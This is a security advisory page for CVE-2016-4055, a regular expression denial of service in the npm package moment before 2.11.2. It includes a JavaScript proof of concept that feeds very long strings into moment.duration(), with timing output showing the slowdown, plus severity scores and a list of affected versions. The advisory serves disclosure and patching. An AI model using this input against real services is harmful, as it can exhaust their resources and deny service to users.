Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTg3dnYtcjlqNi1nNXF2

Regular Expression Denial of Service in moment

Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().

Proof of concept

var moment = require('moment');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=20000;i<=10000000;i=i+10000) {
    console.log("COUNT: " + i);
    var str = '-' + genstr(i, '1')
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    moment.duration(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results

$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]

Recommendation

Please update to version 2.11.2 or later.

Permalink: https://github.com/advisories/GHSA-87vv-r9j6-g5qv
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTg3dnYtcjlqNi1nNXF2
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: about 7 years ago
Updated: almost 2 years ago


CVSS Score: 6.5
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

EPSS Percentage: 0.00986
EPSS Percentile: 0.833

Identifiers: GHSA-87vv-r9j6-g5qv, CVE-2016-4055
References: Blast Radius: 39.0

Affected Packages

npm:moment
Dependent packages: 54,055
Dependent repositories: 1,006,179
Downloads: 95,917,541 last month
Affected Version Ranges: < 2.11.2
Fixed in: 2.11.2
All affected versions: 1.0.0, 1.0.1, 1.1.0, 1.1.1, 1.2.0, 1.3.0, 1.4.0, 1.5.0, 1.5.1, 1.6.0, 1.6.1, 1.6.2, 1.7.0, 1.7.1, 1.7.2, 2.0.0, 2.1.0, 2.2.1, 2.3.0, 2.3.1, 2.4.0, 2.5.0, 2.5.1, 2.6.0, 2.7.0, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.9.0, 2.10.2, 2.10.3, 2.10.5, 2.10.6, 2.11.0, 2.11.1
All unaffected versions: 2.11.2, 2.12.0, 2.13.0, 2.14.0, 2.14.1, 2.15.0, 2.15.1, 2.15.2, 2.16.0, 2.17.0, 2.17.1, 2.18.0, 2.18.1, 2.19.0, 2.19.1, 2.19.2, 2.19.3, 2.19.4, 2.20.0, 2.20.1, 2.21.0, 2.22.0, 2.22.1, 2.22.2, 2.23.0, 2.24.0, 2.25.0, 2.25.1, 2.25.2, 2.25.3, 2.26.0, 2.27.0, 2.28.0, 2.29.0, 2.29.1, 2.29.2, 2.29.3, 2.29.4, 2.30.0, 2.30.1